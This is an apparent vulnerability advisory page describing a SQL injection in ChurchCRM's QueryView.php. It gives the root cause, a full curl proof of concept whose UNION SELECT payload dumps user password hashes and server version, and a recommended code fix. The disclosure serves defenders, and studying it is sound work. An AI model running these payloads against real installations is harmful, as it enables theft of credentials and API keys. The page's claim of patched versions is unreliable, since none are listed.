CVE-2026-94473churchcrm/crm SQL Injection
NVD
Vulnerability Summary
1. Summary `ProcessSQL` in `src/QueryView.php:147-157` substitutes stored-query placeholders one parameter at a time with `str_replace`, so the escaped text written by parameter N is itself scanned for the placeholder of parameter N+1. `escapeQueryParameter` (`src/QueryView.php:161-179`) wraps every non-numeric value in single quotes, and those quotes land inside the string literal produced by the earlier substitution, terminating it. A user submits `birthmonth=~percls~` and puts the payload in `percls`; both parameters are escaped correctly and the resulting SQL is still injectable. As `noperm.user`, an account with every permission flag set to 0, the built-in "Birthdays" query returns 13 rows of `usr_UserName` and `usr_Password`. 2. Severity / CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` — 8.8 (High) - `PR:L`: every permission flag on the tested account is 0 (section 6.A). - `I:H`/`A:H`: no stacked write is possible, `RunQuery` runs one statement per call (`src/ChurchCRM/utils/FunctionsUtils.php:24`). They follow from the disclosed material instead: `usr_ApiKey` is stored plaintext and authenticates the whole `/api` surface (`src/ChurchCRM/Slim/Middleware/AuthMiddleware.php:27-34`), so reading it is admin access with no cracking step. Scoring the read primitive alone gives `C:H/I:N/A:N`, 6.5. Claimed: 8.8. Preconditions: any authenticated account, no permission flags; a stored query whose template holds two or more placeholders. `qry_ID=18` ships with parameters `percls` and `birthmonth`, both with empty `qrp_Validation` (`src/mysql/install/Install.sql:721,729,757`). CWE-89 SQL Injection. CWE-116 Improper Encoding or Escaping of Output. 3. Affected component - `src/QueryView.php:17-23` entrypoint gate: only `PageInit.php` login plus a finance-query-id check; no permission flag is consulted - `src/QueryView.php:147-157` `ProcessSQL`, sequential `str_replace` over `$qry_SQL`, source of the re-substitution - `src/QueryView.php:161-179` `escapeQueryParameter`, adds the quote characters that break out of the previous literal - `src/QueryView.php:208` `RunQuery($qry_SQL)`, sink Affected versions: 7.6.0 confirmed, the latest release at the time of testing, commit `24869b1e6f5e9b4ac5cfb75c4817095755042320`. Lower bound not bisected. Environment: stock `docker/docker-compose.dev.yaml` — PHP 8.4, MariaDB 10.11.18, Apache — at `http://localhost:8099`. Shipped defaults throughout; no application source modified. 4. Root cause Two facts combine. 1. Substitution is sequential and re-scans previously substituted text. Each iteration rewrites the whole `$qry_SQL` string, including text a previous iteration inserted. ```php while ($aRow = mysqli_fetch_array($rsParameters)) { extract($aRow); $qrp_Value = escapeQueryParameter($vPOST[$qrp_Alias], $cnInfoCentral); $qry_SQL = str_replace('~' . $qrp_Alias . '~', $qrp_Value, $qry_SQL); // QueryView.php:155-156 } ``` 2. The escaper emits quote characters that the escaper cannot escape. `real_escape_string` neutralises quotes inside the value, then two unescaped quotes are concatenated around it. ```php return"'" . $connection->real_escape_string((string)$value) ."'"; // QueryView.php:178 ``` Parameter 18 (`birthmonth`) is processed before parameter 33 (`percls`) because the driving query orders by `qrp_ID` (`QueryView.php:36`). Setting `birthmonth` to the literal text `~percls~` yields `per_BirthMonth='~percls~'`, and the `percls` pass then rewrites the inner placeholder, delivering its own opening and closing quote inside that literal. Guard works where applied: `escapeQueryParameter` correctly neutralises quotes in the attacker's own value. The bytes that break the query are the ones the function adds. 5. Impact - Full database read by a zero-permission account. 13 `usr_UserName` / `usr_Password` bcrypt pairs returned in one response, including `Admin`. - Credential material beyond password hashes. `user_usr` also stores `usr_ApiKey`, `usr_TwoFactorAuthSecret` and `usr_TwoFactorAuthRecoveryCodes`; the same `UNION` selects them. - Server metadata. `UNION SELECT 1,version(),database()` returned `10.11.18-MariaDB-ubu2204` and `churchcrm`. - Reachable from the navigation UI. Data/Reports -> Query Menu -> Birthdays is visible to the zero-permission account; the payload is typed into the two form fields. 6. Proof of Concept A. Log in as a user with no permissions ``` $ docker compose -f docker/docker-compose.dev.yaml exec -T database \ mysql -uchurchcrm -pchangeme churchcrm -e \ "SELECT usr_Admin,usr_AddRecords,usr_EditRecords,usr_DeleteRecords,usr_MenuOptions,usr_ManageGroups,usr_Finance,usr_Notes FROM user_usr WHERE usr_UserName='noperm.user';" usr_Admin usr_AddRecords usr_EditRecords usr_DeleteRecords usr_MenuOptions usr_ManageGroups usr_Finance usr_Notes 0 0 0 0 0 0 0 0 $ curl -s -c jar -b jar -d 'User=noperm.user&Password=changeme' http://localhost:8099/session/begin -o /dev/null -w '%{http_code} %{redirect_url}\n' 200 http://localhost:8099/v2/dashboard ``` B. Negative control, ordinary parameter values ``` $ curl -s -b jar -d 'Submit=1&birthmonth=3&percls=1' 'http://localhost:8099/QueryView.php?QueryID=18' \ | grep -oP '(?<=<td>).?(?=</td>)' | sed 's/<[^>]>//g' 14 Bruce Kennedy ``` One person row. C. Placeholder smuggled through the first parameter ``` $ curl -s -b jar \ --data-urlencode 'Submit=1' \ --data-urlencode 'birthmonth=~percls~' \ --data-urlencode "percls= UNION SELECT 1,usr_UserName,usr_Password FROM user_usr #" \ 'http://localhost:8099/QueryView.php?QueryID=18' ``` The page echoes the executed statement in its Query card: ``` SELECT per_ID as AddToCart, per_BirthDay as Day, CONCAT(per_FirstName,' ',per_LastName) AS Name FROM person_per WHERE per_cls_ID='UNION SELECT 1,usr_UserName,usr_Password FROM user_usr #' AND per_BirthMonth=''UNION SELECT 1,usr_UserName,usr_Password FROM user_usr #'' ORDER BY per_BirthDay ``` Result rows (`Day` column now holds `usr_UserName`, `Name` column holds `usr_Password`): ``` Admin $2y$12$e3o8rmvWUYdgzUNB/AAMK.pRvT9rwsIZx4wYB0brOmVPB1UL.HA5S tony.wade@example.com $2y$12$uWQcp6KU7C4JCTaVH.0hiekfpga36yBVhXG8.M/w9u3MmvHt/NWi2 judith.matthews@example.com $2y$12$7R0MqgyidzOqzXPrGbYdkO.y/decFpwSJM..fznzzvT4wiZqaJE4q amanda.black@example.com $2y$12$cGFZFitpCTIFEVwcsvNRZOOXuebt8Tl6smvKCBNJnp9YRci31OJHG ``` 13 rows total. D. Second sink demonstration ``` $ curl -s -b jar \ --data-urlencode 'Submit=1' \ --data-urlencode 'birthmonth=~percls~' \ --data-urlencode "percls= UNION SELECT 1,version(),database() #" \ 'http://localhost:8099/QueryView.php?QueryID=18' \ | grep -oP '(?<=<td>).*?(?=</td>)' | tail -2 10.11.18-MariaDB-ubu2204 churchcrm ``` All four reproduced at commit `24869b1e6f5e9b4ac5cfb75c4817095755042320`. 7. Recommended fix 1. `src/QueryView.php:147-157`: build the statement in one pass instead of iteratively rewriting it, so inserted text is never re-scanned. `preg_replace_callback` over `~(\w+)~` visits each placeholder in the template exactly once. ```php $values = []; while ($aRow = mysqli_fetch_array($rsParameters)) { $values[$aRow['qrp_Alias']] = $vPOST[$aRow['qrp_Alias']]; } $qry_SQL = preg_replace_callback('/~(\w+)~/', function (array $m) use ($values, $cnInfoCentral) { return array_key_exists($m[1], $values) ? escapeQueryParameter($values[$m[1]], $cnInfoCentral) : $m[0]; }, $qry_SQL); ``` 2. `src/QueryView.php:172-174`: `is_numeric` accepts `1e5`, `.5` and `0b1`; cast to a bound numeric form rather than emitting the raw string unquoted. 3. `src/QueryView.php:17-23`: the page requires only a session. Gate it on a permission flag so a zero-permission account cannot run stored queries at all. Fix 1 is the defect and alone closes the injection. Fixes 2 and 3 are defence in depth. 8. Distinction from prior advisories `GHSA-qc2c-qmw4-52fp` is the same file with no escaping at all, `$qrp_Value` substituted raw from `$_POST`, fixed in 6.5.3 by adding `escapeQueryParameter`. That fix is present in the tested tree. Here the attacker's value is escaped correctly; the quote characters that terminate the literal are the ones `escapeQueryParameter` itself appends at `:178`, carried into an earlier parameter's literal by the sequential `str_replace` at `:156`. No other advisory among the 97 published for this repository covers `QueryView.php` or stored-query parameter substitution.
CVSS v3.1 Base Metrics — Score 8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
Affected & Patched Versions
- churchcrm/crm 7.5.1
- churchcrm/crm 7.6.0
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run churchcrm/crm and which version.
- Update to a patched version listed above, then confirm the new version.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Aug 10, 2026Published
- Aug 10, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new churchcrm/crm CVEsYou are reading CVE-2026-94473. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 25, 2026 14:00 UTC